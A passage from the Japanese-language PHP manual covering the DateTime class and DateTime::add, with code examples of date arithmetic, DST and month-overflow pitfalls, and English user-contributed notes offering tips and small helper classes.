$dt = $dt->modify("+24 hours");
echo "End:   ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
?>

上の例の出力は以下となります。

Start: 2015-11-01 00:00:00 -04:00
End:   2015-11-02 00:00:00 -05:00

例3 時刻を引き算すると、日付がオーバー/アンダーフローする可能性がある

1月31日 + 1ヶ月 のような計算をすると、(うるう年のときは) 3月2日、 または (通常の年は) 3月3日になります。

<?php
echo "Normal year:\n"; // February has 28 days
$dt = new DateTimeImmutable("2015-01-31 00:00:00", new DateTimeZone("America/New_York"));
echo "Start: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
$dt = $dt->modify("+1 month");
echo "End:   ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;

echo "Leap year:\n"; // February has 29 days
$dt = new DateTimeImmutable("2016-01-31 00:00:00", new DateTimeZone("America/New_York"));
echo "Start: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
$dt = $dt->modify("+1 month");
echo "End:   ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
?>

上の例の出力は以下となります。

Normal year:
Start: 2015-01-31 00:00:00 -05:00
End:   2015-03-03 00:00:00 -05:00
Leap year:
Start: 2016-01-31 00:00:00 -05:00
End:   2016-03-02 00:00:00 -05:00

次の月の最後の日を得るために(つまり、オーバーフローを避けるため)、 last day of フォーマットが PHP 5.3.0 から利用できます。

<?php
echo "Normal year:\n"; // February has 28 days
$dt = new DateTimeImmutable("2015-01-31 00:00:00", new DateTimeZone("America/New_York"));
echo "Start: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
$dt = $dt->modify("last day of next month");
echo "End:   ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;

echo "Leap year:\n"; // February has 29 days
$dt = new DateTimeImmutable("2016-01-31 00:00:00", new DateTimeZone("America/New_York"));
echo "Start: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
$dt = $dt->modify("last day of next month");
echo "End:   ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
?>

上の例の出力は以下となります。

Normal year:
Start: 2015-01-31 00:00:00 -05:00
End:   2015-02-28 00:00:00 -05:00
Leap year:
Start: 2016-01-31 00:00:00 -05:00
End:   2016-02-29 00:00:00 -05:00

User Contributed Notes

info at mobger dot de 10-Jan-2021 08:13
There is a pitfall with the summertime in the timezone Europe/Berlin.

Beginning Summer-Timer
=======================

The hour between 2020-03-29 02:00:00 and 2020-03-29 03:00:00 is missing in the Timezone 'Europe/Berlin'.

Explanation to the code below
----------------------------------
The DateInterval of 20700 minutes point to 2020-03-29 03:00:00.
The DateInterval of 20701 minutes points to the not existing '2020-03-29 02:59:00', which is resolved to '2020-03-29 03:59:59' by rounding up.
The DateInterval-object of 20761 minutes calculate the existing '2020-03-29 01:59:00'. The hour between 2:00 - 3:00 does not exist in the euopean summertime for the date 2020-03-29. The missing hour will be additionally calculated in the substraction. This explain the result '2020-03-29 00:59:00'. It seems, that the addition of the DateInterval-object does not recalculate the missing hour for some (?) reasons.

<?php

        $test = [];
        $check = date_create_from_format('Y-m-d H:i:s', '2020-04-12 12:00:00', new DateTimeZone('Europe/Berlin'));
        for ($i = 0; $i < 30000; $i++) {
            $expectEaster = clone $check;
            $interval = new DateInterval('PT' . $i . 'M');
            $expectEaster->sub($interval);
            $dummy = clone $expectEaster;
            $expectEaster->add($interval);
            if (!in_array($expectEaster->format('Y-m-d H:i:s'), $test)) {
                $test[$i] = $expectEaster->format('Y-m-d H:i:s');
                echo($i . ' near summertime start ' . $expectEaster->format('Y-m-d H:i:s') . '[' . $dummy->format('Y-m-d H:i:s') . ']' . "\n");
            }
        }
        //        0 near summertime start 2020-04-12 12:00:00[2020-04-12 12:00:00]
        //    20701 near summertime start 2020-04-12 13:00:00[2020-03-29 03:59:00]
        //    20761 near summertime start 2020-04-12 11:00:00[2020-03-29 00:59:00]

?>

Ending Summer Timer
====================
The european summertime defines the existence of two hours with the notation 2020-10-25 02:00:00 - 2020-10-25 03:00:00 (a) and 2020-10-25 02:00:00 - 2020-10-25 03:00:00 (b).
It seems, that the dateTime-object handles the additional hour on an simple internal way. It seems, that you can't differ between this two hours (a) and (b) with the DateTime-object in a simple way.

<?php
        $check = date_create_from_format('Y-m-d H:i:s', '2020-10-25 06:00:00', new DateTimeZone('Europe/Berlin'));
        for ($i = 0; $i < 361; $i = $i + 60) {
            $expectEaster = clone $check;
            $interval = new DateInterval('PT' . $i . 'M');
            $expectEaster->sub($interval);
            $dummy = clone $expectEaster;
            $expectEaster->add($interval);
            $test[$i] = $expectEaster->format('Y-m-d H:i:s');
            echo($i . ' near summertime end ' . $expectEaster->format('Y-m-d H:i:s') .
                '[' . $dummy->format('Y-m-d H:i:s') . ' / ' . $dummy->getTimestamp() . ']' .
                "\n");
        }
//      0 near summertime end 2020-10-25 06:00:00[2020-10-25 06:00:00 / 1603602000]
//     60 near summertime end 2020-10-25 06:00:00[2020-10-25 05:00:00 / 1603598400]
//    120 near summertime end 2020-10-25 06:00:00[2020-10-25 04:00:00 / 1603594800]
//    180 near summertime end 2020-10-25 06:00:00[2020-10-25 03:00:00 / 1603591200]
//    240 near summertime end 2020-10-25 06:00:00[2020-10-25 02:00:00 / 1603587600]
//    300 near summertime end 2020-10-25 06:00:00[2020-10-25 02:00:00 / 1603587600]
//    360 near summertime end 2020-10-25 06:00:00[2020-10-25 01:00:00 / 1603580400]    }

?>


DateTime クラス

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

はじめに

このクラスは、 DateTimeImmutable と同じ振る舞いをします。 但し、DateTime::modify() のような、 オブジェクトそのものを変更するメソッドが呼び出された時を除きます。

クラス概要

DateTime implements DateTimeInterface {
/* 継承した定数 */
const string DateTimeInterface::ATOM = "Y-m-d\TH:i:sP" ;
const string DateTimeInterface::COOKIE = "l, d-M-Y H:i:s T" ;
const string DateTimeInterface::ISO8601 = "Y-m-d\TH:i:sO" ;
const string DateTimeInterface::RFC822 = "D, d M y H:i:s O" ;
const string DateTimeInterface::RFC850 = "l, d-M-y H:i:s T" ;
const string DateTimeInterface::RFC1036 = "D, d M y H:i:s O" ;
const string DateTimeInterface::RFC1123 = "D, d M Y H:i:s O" ;
const string DateTimeInterface::RFC7231 = "D, d M Y H:i:s \G\M\T" ;
const string DateTimeInterface::RFC2822 = "D, d M Y H:i:s O" ;
const string DateTimeInterface::RFC3339 = "Y-m-d\TH:i:sP" ;
const string DateTimeInterface::RFC3339_EXTENDED = "Y-m-d\TH:i:s.vP" ;
const string DateTimeInterface::RSS = "D, d M Y H:i:s O" ;
const string DateTimeInterface::W3C = "Y-m-d\TH:i:sP" ;
/* メソッド */
public __construct ( string $datetime = "now" , DateTimeZone|null $timezone = null )
public add ( DateInterval $interval ) : DateTime
public static createFromFormat ( string $format , string $datetime , DateTimeZone|null $timezone = null ) : DateTime|false
public static createFromImmutable ( DateTimeImmutable $object ) : DateTime
public static createFromInterface ( DateTimeInterface $object ) : DateTime
public static getLastErrors ( ) : array|false
public modify ( string $modifier ) : DateTime|false
public static __set_state ( array $array ) : DateTime
public setDate ( int $year , int $month , int $day ) : DateTime
public setISODate ( int $year , int $week , int $dayOfWeek = 1 ) : DateTime
public setTime ( int $hour , int $minute , int $second = 0 , int $microsecond = 0 ) : DateTime
public setTimestamp ( int $timestamp ) : DateTime
public setTimezone ( DateTimeZone $timezone ) : DateTime
public sub ( DateInterval $interval ) : DateTime
public diff ( DateTimeInterface $targetObject , bool $absolute = false ) : DateInterval
public format ( string $format ) : string
public getOffset ( ) : int
public getTimestamp ( ) : int
public getTimezone ( ) : DateTimeZone|false
public __wakeup ( ) : void
}

変更履歴

バージョン | 説明
7.2.0 | DateTime クラスの定数は、 DateTimeInterface で定義されるようになりました。
7.0.0 | 定数 DATE_RFC3339_EXTENDED と DateTime::RFC3339_EXTENDED が追加されました。
5.5.0 | DateTimeInterface を実装するようになりました。
5.4.24 | COOKIE 定数が、RFC 1036 に準拠するように (年を4桁で表すように) なりました。 以前のバージョンでは、RFC 850 に従って年を2桁で表していました。
5.2.2 | DateTime オブジェクトどうしの 比較演算子 による比較が、期待通りに動作するようになりました。 これより前のバージョンでは、すべての DateTime オブジェクトは (== による比較で) 等しいと見なされていました。

目次

  • DateTime::add — 年月日時分秒の値を DateTime オブジェクトに加える
  • DateTime::__construct — 新しい DateTime オブジェクトを返す
  • DateTime::createFromFormat — 指定した書式で時刻文字列をパースする
  • DateTime::createFromImmutable — 与えられた DateTimeImmutable オブジェクトをカプセル化した、新しい DateTime オブジェクトを返す
  • DateTime::createFromInterface — 指定された DateTimeInterface オブジェクトをカプセル化した、新しい DateTime オブジェクトを返す
  • DateTime::getLastErrors — 警告およびエラーを返す
  • DateTime::modify — タイムスタンプを変更する
  • DateTime::__set_state — __set_state ハンドラ
  • DateTime::setDate — 日付を設定する
  • DateTime::setISODate — ISO 日付を設定する
  • DateTime::setTime — 時刻を設定する
  • DateTime::setTimestamp — Unix タイムスタンプを用いて日付と時刻を設定する
  • DateTime::setTimezone — DateTime オブジェクトのタイムゾーンを設定する
  • DateTime::sub — 年月日時分秒の値を DateTime オブジェクトから引く

User Contributed Notes

kim dot jangwook dot 1029 at gmail dot com 19-Sep-2020 12:06
Set Timezone and formatting.

<?php

$unixTime = time();
$timeZone = new \DateTimeZone('Asia/Tokyo');

$time = new \DateTime();
$time->setTimestamp($unixTime)->setTimezone($timeZone);

$formattedTime = $time->format('Y/m/d H:i:s');
echo $formattedTime;

?>
david dot p dot mclaughlin at gmail dot com 28-Jan-2020 10:47
Example displaying each time format:

$dateTime = new DateTime();

foreach ([
   'ATOM',
   'COOKIE',
   'ISO8601',
   'RFC822',
   'RFC850',
   'RFC1036',
   'RFC1123',
   'RFC2822',
   'RFC3339',
   'RFC3339_EXTENDED',
   'RSS',
   'W3C',
   ] as $format) {
   eval("print 'DateTimeInterface::$format\t'.\$dateTime->format(DateTimeInterface::$format).\"\n\";");
}

The above example will output:

DateTimeInterface::ATOM    2020-01-28T16:22:37-07:00
DateTimeInterface::COOKIE    Tuesday, 28-Jan-2020 16:22:37 MST
DateTimeInterface::ISO8601    2020-01-28T16:22:37-0700
DateTimeInterface::RFC822    Tue, 28 Jan 20 16:22:37 -0700
DateTimeInterface::RFC850    Tuesday, 28-Jan-20 16:22:37 MST
DateTimeInterface::RFC1036    Tue, 28 Jan 20 16:22:37 -0700
DateTimeInterface::RFC1123    Tue, 28 Jan 2020 16:22:37 -0700
DateTimeInterface::RFC2822    Tue, 28 Jan 2020 16:22:37 -0700
DateTimeInterface::RFC3339    2020-01-28T16:22:37-07:00
DateTimeInterface::RFC3339_EXTENDED    2020-01-28T16:22:37.803-07:00
DateTimeInterface::RSS    Tue, 28 Jan 2020 16:22:37 -0700
DateTimeInterface::W3C    2020-01-28T16:22:37-07:00
ivijan dot stefan at gmail dot com 31-Dec-2019 08:03
Here is easiest way to find the days difference between two dates:

<?php
if(!function_exists('date_between')) :
    function date_between($date_start, $date_end)
    {
        if(!$date_start || !$date_end) return 0;

        if( class_exists('DateTime') )
        {
            $date_start    = new DateTime( $date_start );
            $date_end    = new DateTime( $date_end );
            return $date_end->diff($date_start)->format('%a');
        }
        else
        {
            return abs( round( ( strtotime($date_start) - strtotime($date_end) ) / 86400 ) );
        }
    }
endif;
?>

In the general, I use 'DateTime' to find days between 2 dates. But if in the some reason, some server setup not have 'DateTime' enabled, it will use simple (but not safe) calculation with 'strtotime()'.
j dot vd dot merwe at enovision dot net 07-Aug-2019 09:13
When given 2 variables and you want to change the date of the first variable but not the time, it can be done like this:

<?php
// First date is today
$dateOne = new DateTime();

// Second date is some date
$dateTwo = new DateTime('14-10-1963');

echo 'Date one before change: ' . $dateOne->format('Y-m-d H:i:s');
echo '<br/>';
echo 'Date two: ' . $dateTwo->format('Y-m-d H:i:s');

// Now modify the date of variable $dateOne with the date of $dateTwo
$dateOne->modify($dateTwo->format('Y-m-d'));

echo '<br/>';
echo 'Date one after change: ' . $dateOne->format('Y-m-d H:i:s');
?>

Outputs:

Date one before change: 2019-08-07 09:32:44
Date two: 1963-10-14 00:00:00
Date one after change: 1963-10-14 09:32:44
ccbsschucko at gmail dot com 25-May-2018 12:19
<?php
    // PHP >= 7

    class DatetimeTool {

        /**
        * @param str => $formato_final = formato de saida
        */
        public function now(string $formato_final = 'Y-m-d H:i:s'){
            return (new DateTime('now'))->format($formato_final);
        }

        /**
        * @param str => $data = data a ser formatada
        * @param str => $formato_final = formato de saida
        */
        public function format(string $data, string $formato_final){
            return (new DateTime($data))->format($formato_final);
        }

        /**
        * @param str => $data_inicio = data de inicio que recebe o acrescimo
        * @param arr => $add = valores adicionados [ano,mes,dia,hora,minuto,segundo]
        * @param str => $formato_final = formato de saida
        */
        public function add(string $data_inicio, array $add = [0,0,0,0,0,0], string $formato_final){
            return (new DateTime($data_inicio))->add(new DateInterval('P'.$add[0].'Y'.$add[1].'M'.$add[2].'DT'.$add[3].'H'.$add[4].'M'.$add[5].'S'))->format($formato_final);
        }

        /**
        * @param str => $data_inicio = data de inicio que recebe o decrescimo
        * @param arr => $add = valores adicionados [ano,mes,dia,hora,minuto,segundo]
        * @param str => $formato_final = formato de saida
        */
        public function sub(string $data_inicio, array $add = [0,0,0,0,0,0], string $formato_final){
            return (new DateTime($data_inicio))->sub(new DateInterval('P'.$add[0].'Y'.$add[1].'M'.$add[2].'DT'.$add[3].'H'.$add[4].'M'.$add[5].'S'))->format($formato_final);
        }

    }
?>

<?php
    var_dump((new DatetimeTool)->now('d-m-Y'));

    var_dump((new DatetimeTool)->format('1970-01-01', 'd-m-Y'));

    var_dump((new DatetimeTool)->add(date('d-m-Y H:i:s'), [0,1,0,0,10,0], 'd-m-Y'));

    var_dump((new DatetimeTool)->sub(date('d-m-Y H:i:s'), [0,1,0,0,10,0], 'd-m-Y'));

?>
lulzim at orav dot net 13-Sep-2017 08:44
This might be unexpected behavior:

<?php

$date1 = DateTime::createFromFormat('Y-m-d H:i:s', '2017-08-31 00:00:00');
$date1->modify('+1 month');

#or use the interval
#$date1->add(new DateInterval("P1M"));

#will produce 2017-10-1
#not 2017-09-30
divinity76+spam at gmail dot com 24-May-2017 02:24
if you'd like to print all the built-in formats,

<?php
foreach((new ReflectionClass('DateTime'))->getConstants() as $name=>$format){
    echo 'DateTime::'.$name.' -> '.date($format).PHP_EOL;
}
Ray.Paseur sometimes uses Gmail 02-Dec-2016 06:08
At PHP 7.1 the DateTime constructor incorporates microseconds when constructed from the current time.  Make your comparisons carefully, since two DateTime objects constructed one after another are now more likely to have different values.

http://php.net/manual/en/migration71.incompatible.php
jlh at gmx dot ch 18-Oct-2016 08:28
Note that the ISO8601 constant will not correctly parse all possible ISO8601 compliant formats, as it does not support fractional seconds. If you need to be strictly compliant to that standard you will have to write your own format.

Bug report #51950 has unfortunately be closed as "not a bug" even though it's a clear violation of the ISO8601 standard.
lucasfsmartins at gmail dot com 12-Jul-2016 07:39
A good way I did to work with millisecond is transforming the time in milliseconds.

function timeToMilliseconds($time) {
    $dateTime = new DateTime($time);

    $seconds = 0;
    $seconds += $dateTime->format('H') * 3600;
    $seconds += $dateTime->format('i') * 60;
    $seconds += $dateTime->format('s');

    $seconds = floatval($seconds . '.' . $dateTime->format('u'));

    return $seconds * 1000;
}
ph at jokerss dot com dot br 12-Feb-2016 02:57
Create function to convert GregorianDate to JulianDayCount

<?php

function dateJulian($date) {
        $dateTime = new DateTime($date);
        $limitDate = new DateTime('01-03-'.$dateTime->format('Y'));
        $diff = $dateTime->diff($limitDate);
        $soma = 1;
        if ($dateTime->format('L') && $diff->invert) {
                $soma = 2;
        }
        return ( (int) $dateTime->format('z')) + $soma;
}

echo PHP_EOL,dateJulian('01-03-2015'), PHP_EOL;
echo PHP_EOL,dateJulian('01-03-2016'), PHP_EOL;

/**
  * returns
  * 60
  * 61
  */

?>
michael at smith-li dot com 07-Jan-2016 06:47
DateTime supports microseconds since 5.2.2. This is mentioned in the documentation for the date function, but bears repeating here. You can create a DateTime with fractional seconds and retrieve that value using the 'u' format string.

<?php
// Instantiate a DateTime with microseconds.
$d = new DateTime('2011-01-01T15:03:01.012345Z');

// Output the microseconds.
echo $d->format('u'); // 012345

// Output the date with microseconds.
echo $d->format('Y-m-d\TH:i:s.u'); // 2011-01-01T15:03:01.012345
anthony at teamug dot net 13-Sep-2015 02:00
This is a great class, but unless you need to use it's more advanced features, I would stick to passing times around your scripts as Unix Time Stamps - maybe prefixing with "uts".
Otherwise you will simply be creating more lines of code with no benefit.
ryan at amst dot com 21-Aug-2015 08:09
It seems like, due to changes in the DateTimeZone class in PHP 5.5, when creating a date and specifying the timezone as a a string like 'EDT', then getting the timezone from the date object and trying to use that to set the timezone on a date object you will have problems but never know it.  Take the following code:

<?php
$date = new DateTime('2015-08-21 15:00:00 EDT') ;
$tz_string = $date->getTimezone()->getName() ;
$tz = new DateTimeZone($tz_string) ;
$date->setTimezone($tz) ;
?>

You would think this code should not change $date at all, but it does.  It seems like you can create a timezone object like 'EDT' but can't use those to set timezones properly.  The process, however does act like it's working without errors.
tdp 20-Jan-2015 11:17
Be aware of this behaviour:

<?php
$dt1 = new \DateTime( '2014/12/31' );
$dt1->modify( '-1 month' );
$m = (int) $dt1->format( 'm' );
var_dump( $m ); // still 12 !!!

$dt2 = new \DateTime( '2014/12/30' );
$dt2->modify( '-1 month' );
$m = (int) $dt2->format( 'm' );
var_dump( $m ); // 11
?>

The method modify( '-1 month' ) appear to remove 30 days, not to subtract 1 from the month and adjust the day (if needed).

In my opinion, the former date should be adjusted to 2014/11/30, that is, the last day in the previous month.
julie at earthshod dot co dot uk 29-Jan-2014 04:55
It isn't obvious from the above, but you can insert a letter of the alphabet directly into the date string by escaping it with a backslash in the format string.  Note that if you are using "double" speech marks around the format string, you will have to further escape each backslash with another backslash!  If you are using 'single' speech marks around the format string, then you only need one backslash.

For instance, to create a string like "Y2014M01D29T1633", you *could* use string concatenation like so:

<?php
    $dtstring = "Y" . date("Y", $when) . "M" . date("m", $when) . "D" . date("d", $when) . "T" . date("Hi", $when);
?>

but you could also escape the letters with backslashes like so:

<?php
    $dtstring1 = date('\YY\Mm\Dd\THi', $when);
    $dtstring2 = date("\\YY\\Mm\\Dd\\THi", $when);
?>

This method involves fewer function calls, so probably is slightly quicker; and also is immune to race conditions if you are not specifying the second argument.  [It's possible that you could evaluate date("d") just *before* midnight and date("H") just *after* midnight.  This will not give you the result you were expecting.]
stevenmattera at gmail dot com 10-Jan-2014 02:04
This caused some confusion with a blog I was working on and just wanted to make other people aware of this. If you use createFromFormat to turn a date into a timestamp it will include the current time. For example:

<?php
$publishDate = DateTime::createFromFormat('m/d/Y', '1/10/2014');
echo $publishDate->getTimestamp();
?>

Would not output the expected "1389312000" instead it would output something more like "1389344025". To fix this you would want to do:

<?php
$publishDate = DateTime::createFromFormat('m/d/Y', '1/10/2014');
$publishDate->setTime(0, 0, 0);
echo $publishDate->getTimestamp();
?>

I hope this helps someone!
James 09-Oct-2013 03:44
Be aware that DateTime may ignore fractional seconds for some formats, but not when using the ISO 8601 time format, as documented by this bug:

https://bugs.php.net/bug.php?id=51950

$dateTime = DateTime::createFromFormat(
    DateTime::ISO8601,
    '2009-04-16T12:07:23.596Z'
);
// bool(false)
tim at timfennis dot com 01-Mar-2013 03:20
There is a subtle difference between the following two statments which causes JavaScript's Date object on iPhones to fail.

<?php
$objDateTime = new DateTime('NOW');
echo $objDateTime->format('c'); // ISO8601 formated datetime
echo $objDateTime->format(DateTime::ISO8601); // Another way to get an ISO8601 formatted string

/**
On my local machine this results in:

2013-03-01T16:15:09+01:00
2013-03-01T16:15:09+0100

Both of these strings are valid ISO8601 datetime strings, but the latter is not accepted by the constructor of JavaScript's date object on iPhone. (Possibly other browsers as well)
*/

?>

Our solution was to create the following constant on our DateHelper object.

<?php
class DateHelper
{
    /**
     * An ISO8601 format string for PHP's date functions that's compatible with JavaScript's Date's constructor method
     * Example: 2013-04-12T16:40:00-04:00
     *
     * PHP's ISO8601 constant doesn't add the colon to the timezone offset which is required for iPhone
    **/
    const ISO8601 = 'Y-m-d\TH:i:sP';
}
?>
marcio dot barbado at bdslabs dot com dot br 22-Mar-2012 06:22
DateTime class does not use locales so here I test and compare its formating with strftime() function's one:

    <?php
      // Under UNIX, command "$ locale -a" should provide you with your server's options.

      $data_do_mysql            = "2011-09-29 23:50:26";

      echo '<strong>' . "\$data_do_mysql" . '</strong>' . ":" . $data_do_mysql . "." . '<br />' .
           '<br />';

      $dataInicial            = new DateTime(trim($data_do_mysql));

      // setlocale() used with strftime().
      $meu_locale            = setlocale(LC_ALL, "pt_BR.utf8");
      $data_inicial            = strftime("%d de %b de %Y", strtotime(trim($data_do_mysql)));

      // Outputs:
      // $data_do_mysql formatada com a classe DateTime:29-Sep-2011.
      echo '<strong>' . "\$data_do_mysql" . '</strong>' . " formatada com a classe DateTime:" . $dataInicial->format('d-M-Y') . "." . '<br />' .
           '<br />';

      // Outputs:
      // $data_do_mysql formatada com a funcao strftime():29 de Set de 2011.
      echo '<strong>' . "\$data_do_mysql" . '</strong>' . " formatada com a fun&ccedil;&atilde;o strftime():" . $data_inicial . "." . '<br />' .
           '<br />';

      // setlocale() fails :-(
      if (!$meu_locale)
        {
            echo "Prefiro usar DateTime.";
        }

      // Yay setlocale() :-D
      else
        {
            echo "Prefiro usar strftime().";
        }

      exit();
    ?>
nodweber at gmail dot com 19-Jul-2011 02:22
IF You want to create clone of $time, use clone..

<?php
  $now   = new DateTime;
  $clone = $now;        //this doesnot clone so:
  $clone->modify( '-1 day' );

  echo $now->format( 'd-m-Y' ), "\n", $clone->format( 'd-m-Y' );
  echo '----', "\n";

  // will print same.. if you want to clone make like this:
  $now   = new DateTime;
  $clone = clone $now;
  $clone->modify( '-1 day' );

  echo $now->format( 'd-m-Y' ), "\n", $clone->format( 'd-m-Y' );
?>

Results:
18-07-2011
18-07-2011
----
19-07-2011
18-07-2011
giorgio dot liscio at email dot it 13-Aug-2010 10:24
please note that using

setTimezone
setTimestamp
setDate
setTime
etc..

will modify the original object, and the return value is $this

$original = new DateTime("now");

$modified = $original->setTimezone(new DateTimezone("europe/rome"));

echo $original === $modified ? "THE OBJECT IS THE SAME" : "OBJECTS ARE DIFFERENT";

so a datetime object is mutable

(Editors note: PHP 5.5 adds DateTimeImmutable which does not modify the original object, instead creating a new instance.)
bf at tbwb dot nl 10-Aug-2010 03:19
If you have timezone information in the time string you construct the DateTime object with, you cannot add an extra timezone in the constructor. It will ignore the timezone information in the time string:

$date = new DateTime("2010-07-05T06:00:00Z", new DateTimeZone("Europe/Amsterdam"));

will create a DateTime object set to "2010-07-05 06:00:00+0200" (+2 being the TZ offset for Europe/Amsterdam)

To get this done, you will need to set the timezone separately:

$date = new DateTime("2010-07-05T06:00:00Z");
$date->setTimeZone(new DateTimeZone("Europe/Amsterdam");

This will create a DateTime object set to "2010-07-05 08:00:00+0200"
ediathome 20-Mar-2010 01:21
If you need DateTime::createFromFormat functionality in versions <5.3.0 releases you might use the following basic class which can also be combined with Tom's class. It should work for most basic formats, however you should improve this function if you need more complex formats.

<?php
class DateClass extends DateTime{

public function getTimestamp(){
    return $this->format ("U");
}

/**
*    This function calculates the number of days between the first and the second date. Arguments must be subclasses of DateTime
**/
static function differenceInDays ($firstDate, $secondDate){
    $firstDateTimeStamp = $firstDate->format("U");
    $secondDateTimeStamp = $secondDate->format("U");
    $rv = round ((($firstDateTimeStamp - $secondDateTimeStamp))/86400);
    return $rv;
}

/**
* This function returns an object of DateClass from $time in format $format. See date() for possible values for $format
**/
static function createFromFormat ($format, $time){
    assert ($format!="");
    if($time==""){
        return new DateClass();
    }

    $regexpArray['Y'] = "(?P<Y>19|20\d\d)";
    $regexpArray['m'] = "(?P<m>0[1-9]|1[012])";
    $regexpArray['d'] = "(?P<d>0[1-9]|[12][0-9]|3[01])";
    $regexpArray['-'] = "[-]";
    $regexpArray['.'] = "[\. /.]";
    $regexpArray[':'] = "[:]";
    $regexpArray['space'] = "[\s]";
    $regexpArray['H'] = "(?P<H>0[0-9]|1[0-9]|2[0-3])";
    $regexpArray['i'] = "(?P<i>[0-5][0-9])";
    $regexpArray['s'] = "(?P<s>[0-5][0-9])";

    $formatArray = str_split ($format);
    $regex = "";

    // create the regular expression
    foreach($formatArray as $character){
        if ($character==" ") $regex = $regex.$regexpArray['space'];
        elseif (array_key_exists($character, $regexpArray)) $regex = $regex.$regexpArray[$character];
    }
    $regex = "/".$regex."/";

    // get results for regualar expression
    preg_match ($regex, $time, $result);

    // create the init string for the new DateTime
    $initString = $result['Y']."-".$result['m']."-".$result['d'];

// if no value for hours, minutes and seconds was found add 00:00:00
    if (isset($result['H'])) $initString = $initString." ".$result['H'].":".$result['i'].":".$result['s'];
    else {$initString = $initString." 00:00:00";}

    $newDate = new DateClass ($initString);
    return $newDate;
    }
}

?>
gmblar+php at gmail dot com 24-Jan-2010 08:53
Small but powerful extension to DateTime

<?php

class Blar_DateTime extends DateTime {

    /**
     * Return Date in ISO8601 format
     *
     * @return String
     */
    public function __toString() {
        return $this->format('Y-m-d H:i');
    }

    /**
     * Return difference between $this and $now
     *
     * @param Datetime|String $now
     * @return DateInterval
     */
    public function diff($now = 'NOW') {
        if(!($now instanceOf DateTime)) {
            $now = new DateTime($now);
        }
        return parent::diff($now);
    }

    /**
     * Return Age in Years
     *
     * @param Datetime|String $now
     * @return Integer
     */
    public function getAge($now = 'NOW') {
        return $this->diff($now)->format('%y');
    }

}

?>

Usage:

<?php

$birthday = new Blar_DateTime('1879-03-14');

// Example 1
echo $birthday;
// Result: 1879-03-14 00:00

// Example 2
echo '<p>Albert Einstein would now be ', $birthday->getAge(), ' years old.</p>';
// Result: <p>Albert Einstein would now be 130 years old.</p>

// Example 3
echo '<p>Albert Einstein would now be ', $birthday->diff()->format('%y Years, %m Months, %d Days'), ' old.</p>';
// Result: <p>Albert Einstein would now be 130 Years, 10 Months, 10 Days old.</p>

// Example 4
echo '<p>Albert Einstein was on 2010-10-10 ', $birthday->getAge('2010-10-10'), ' years old.</p>';
// Result: <p>Albert Einstein was on 2010-10-10 131 years old.</p>

?>
tom at r dot je 10-Jun-2009 08:00
If you're stuck on a PHP 5.1 system (unfortunately one of my clients is on a rather horrible webhost who claims they cannot upgrade php) you can use this as a quick workaround:

<?php
if (!class_exists('DateTime')) {
class DateTime {
    public $date;

    public function __construct($date) {
        $this->date = strtotime($date);
    }

    public function setTimeZone($timezone) {
        return;
    }

    private function __getDate() {
        return date(DATE_ATOM, $this->date);
    }

    public function modify($multiplier) {
        $this->date = strtotime($this->__getDate() . ' ' . $multiplier);
    }

    public function format($format) {
        return date($format, $this->date);
    }
}
}
?>

it is NOT perfect. Timezones and DST are not supported, but if you just need compatible basic functions this works. Feel free to complete this so it's compatible with the 5.2 datetime object.


年月日時分秒の値を DateTime オブジェクトに加える

  • ≪ DateTime
  • DateTime::__construct ≫
  • PHP Manual
  • DateTime
  • 年月日時分秒の値を DateTime オブジェクトに加える

DateTime::add

date_add

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::add -- date_add — 年月日時分秒の値を DateTime オブジェクトに加える

説明

オブジェクト指向型

public DateTime::add ( DateInterval $interval ) : DateTime

手続き型

date_add ( DateTime $object , DateInterval $interval ) : DateTime

指定した DateInterval オブジェクトを、 指定した DateTime オブジェクトに加えます。

パラメータ

object

手続き型のみ: date_create() が返す DateTime オブジェクト。 この関数は、このオブジェクトを変更します。

interval

DateInterval オブジェクト。

返り値

メソッドチェインに使う DateTime オブジェクトを返します。失敗した場合に false を返します。

例

例1 DateTime::add() の例

オブジェクト指向型

<?php
$date = new DateTime('2000-01-01');
$date->add(new DateInterval('P10D'));
echo $date->format('Y-m-d') . "\n";
?>

手続き型

<?php
$date = date_create('2000-01-01');
date_add($date, date_interval_create_from_date_string('10 days'));
echo date_format($date, 'Y-m-d');
?>

上の例の出力は以下となります。

2000-01-11

例2 DateTime::add() の別の例

<?php
$date = new DateTime('2000-01-01');
$date->add(new DateInterval('PT10H30S'));
echo $date->format('Y-m-d H:i:s') . "\n";

$date = new DateTime('2000-01-01');
$date->add(new DateInterval('P7Y5M4DT4H3M2S'));
echo $date->format('Y-m-d H:i:s') . "\n";
?>

上の例の出力は以下となります。

2000-01-01 10:00:30
2007-06-05 04:03:02

例3 月を加算するときの注意点

<?php
$date = new DateTime('2000-12-31');
$interval = new DateInterval('P1M');

$date->add($interval);
echo $date->format('Y-m-d') . "\n";

$date->add($interval);
echo $date->format('Y-m-d') . "\n";
?>

上の例の出力は以下となります。

2001-01-31
2001-03-03

注意

PHP 5.2 では、かわりに DateTime::modify() を使うことができます。

参考

  • DateTime::sub() - 年月日時分秒の値を DateTime オブジェクトから引く
  • DateTime::diff() - ふたつの DateTime オブジェクトの差を返す
  • DateTime::modify() - タイムスタンプを変更する

User Contributed Notes

info at mobger dot de 09-Jan-2021 10:57
Remark, that calculations on date are not defined as bijective operations.  The Summertime is integrated by mixing two concepts. You should test it beforehead.

Datetime will correct a date after each summation, if a date (29.2.2021 => 1.3.2021) or a datetime (29.3.2020 2:30 am (Europe/Berlin) => 29.3.2020 3:30 or 29.3.2020 1:30)

Example
<?php

$expectEaster = date_create_from_format('Y-m-d H:i:s', '2020-04-12 12:00:00', new DateTimeZone('Europe/Berlin'));
$interval = new DateInterval('PT20761M');
$expectEaster->sub($interval);
echo('recalc '.$expectEaster->format('Y-m-d H:i:s')."\n");
$expectEaster->add($interval);
echo('easter '.$expectEaster->format('Y-m-d H:i:s')."\n" );

$expectEaster = date_create_from_format('Y-m-d H:i:s', '2020-04-12 12:00:00', new DateTimeZone('Europe/Berlin'));
$interval = new DateInterval('PT20760M');
$expectEaster->sub($interval);
